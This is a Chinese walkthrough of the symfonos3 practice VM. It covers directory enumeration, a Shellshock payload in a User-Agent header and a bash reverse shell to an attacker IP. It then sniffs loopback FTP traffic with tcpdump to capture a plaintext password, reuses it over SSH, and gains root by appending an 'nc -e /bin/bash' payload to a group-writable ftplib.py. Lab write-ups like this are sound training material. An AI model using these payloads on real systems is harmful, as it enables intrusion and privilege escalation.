从目录枚举到bash破壳漏洞、从流量抓包到组权限提权:靶机练习之symfonos3

信息搜集

复制代码
nmap -sT --min-rate 10000 192.168.8.8 -p-

ftp/ssh/web80,经典 的三个端口

复制代码
nmap -sT -sC -sV -O 192.168.8.8 -p21,22,80 -o ports 

ftp的这个版本似乎是有文件复制的漏洞

web渗透

gobuster扫描

先扫了一波敏感文件,只出了一个gate目录

复制代码
gobuster dir -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

进一步目录扫描,仍然只出了一个目录

复制代码
gobuster dir -u http://192.168.8.8/gate/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

dirsearch递归扫描

因为目录一层一层的出来,这边考虑尝试直接用递归扫描

复制代码
dirsearch -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,bak,php -r --deep-recursive

结果一样仍然只有一个目录

dirb扫描

换个工具再试一下呢

复制代码
dirb http://192.168.8.8

有不同的结果,扫出了cgi-bin,字典中其实都是包含的,这是为什么呢

复制代码
  ┌───────────┬──────────────────────────┬─────────────────────────┐
  │   工具    │       目录测试方式       │ 能发现 ScriptAlias 目录 │
  ├───────────┼──────────────────────────┼─────────────────────────┤
  │ dirb      │ 自动补 / 测试            │ 能                      │
  ├───────────┼──────────────────────────┼─────────────────────────┤
  │ gobuster  │ 不补 /,依赖服务端 301   │ 不能                    │
  ├───────────┼──────────────────────────┼─────────────────────────┤
  │ dirsearch │ 不补 /(默认),依赖 301 │ 不能                    │

简单用curl测试一下。不带/就会404了,确实是这个原因

目前得到了一个403的目录,dirb继续扫了一下发现没有结果

这边转头就换了,gobuster,因为它配置大字典扫的更快,

复制代码
gobuster dir -u http://192.168.8.8/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

果然有隐藏目录,打开发现似乎是一个脚本,执行了uptime的命令,可以查看时间和服务器状态

kali本机中也有相应的程序

nikto扫描

走到这一步仍然没有特别明晰的思路,于是尝试让nikto做一个web扫描

复制代码
nikto -h http://192.168.8.8/cgi-bin/underworld

爆了一个cve的漏洞,是shellshock,bash破壳漏洞

复制代码
() { :; }; echo; /usr/bin/id

burp抓包发送payload

成功命令执行

反弹shell

复制代码
User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.8.11/4444 0>&1'

linpeas提权靶机敏感信息

因为没有找到太多有用的信息,这边先用linpeas提权一下关键信息

发现靶机有抓包工具tcpdump

流量包抓取分析

因为ftp是明文传输,而靶机上面正好也有tcpdump抓包的环境,所以这边进行抓包分析

对外的网卡是ens33

复制代码
tcpdump -i ens33 -w ftp.pcap -c 10000
#这边可以指定数据包数量,防止需要中断抓包导致反弹shell断联

ens33网卡数据包没有关于ftp的数据,ftp可能是内部lo网卡通信

复制代码
tcp.port == 21
复制代码
tcpdump -i lo -w ftp.pcap

泄露了密码账号密码hades/PTpZTfU4vxgzvRBE

成功登录hades 的ftp

提权

凭证复用

这边直接尝试用刚才的凭证登录ssh,也是直接成功登录

因为抓包的时候发现ftp一直在内部通信,所以尝试先找一下这个程序运行的位置

复制代码
find / -name ftp* 2>/dev/null

找到这个ftp,应该是定期做服务的状态监测

它导入了一个ftplib的

组权限提权

执行id命令的时候发现,hades有gods的组权限

查找有1002组权限的文件、文件夹

复制代码
find / -name ftp -group 1002 -type f 2>/dev/null
复制代码
find / -group 1002 -type d 2>/dev/null

发现1002拥有整个python2.7库的组权限

这时候再查找一下ftplib的权限

复制代码
ls -liah ftplib*

确实是有gods的组权限
那就简单了直接再fptlib.py尾部追加payload

复制代码
import os
os.system("nc -e /bin/bash 192.168.8.11 4444")

同步开启反弹shell接收,等待片刻

成功提权

小结一下

复制代码
靶机的难度是中级到hard之间,打下来感觉还是有难度的。从一开始的目录枚举,就有很多坑要踩,不同的目录扫描工具扫描策略其实是有侧重的,dirb会对目录和文件双重扫描,gobuster扫的更快等等;然后就是nikto针对web指纹的扫描还是比较好用的,也是识别到了bash破壳漏洞;linpeas作为linux后渗透工具也是经常会用到,这个算是常规思路;tcpdump流量包抓取ftp流量,也是要mark的,因为ftp它是明文传输,只要能抓包就能拿到账号密码;最后的组权限提权,也是一个非常经典的案例,通过在组权限的python库文件注入payload,拿到root
相关推荐
鬼手点金22 分钟前
opencode-rules 插件
java·开发语言·前端·人工智能·chrome·git·github
爱上网的小舟22 分钟前
星际战士2启动错误怎么办?5种游戏报错解决方法
开发语言·php
阿里嘎多学长1 小时前
2026-10-12 GitHub 热点项目精选
开发语言·程序员·github·代码托管
wangchunyu1142 小时前
Python 数据可视化实战入门教程
开发语言·python·信息可视化
学逆向的4 小时前
C 突破编译器限制
c语言·开发语言·网络安全
jimy14 小时前
C++ 虚函数表:基类和派生类共用一张 vtable 吗?
开发语言·c++
爱吃提升4 小时前
Dev-C++ 5.11 C++断点调试完整教程
开发语言·c++
夜晚回家4 小时前
Python 原始字符串详解 | r 前缀到底让什么不再转义
开发语言·python
陈年老古董4 小时前
PyQt5 入门指南:环境搭建、PyCharm 外部工具配置与登录界面实战
开发语言·qt·pycharm
看浪的路人4 小时前
第7讲:大模型后端服务化——Go 实现高并发 LLM Proxy / Router / Fallback
开发语言·后端·golang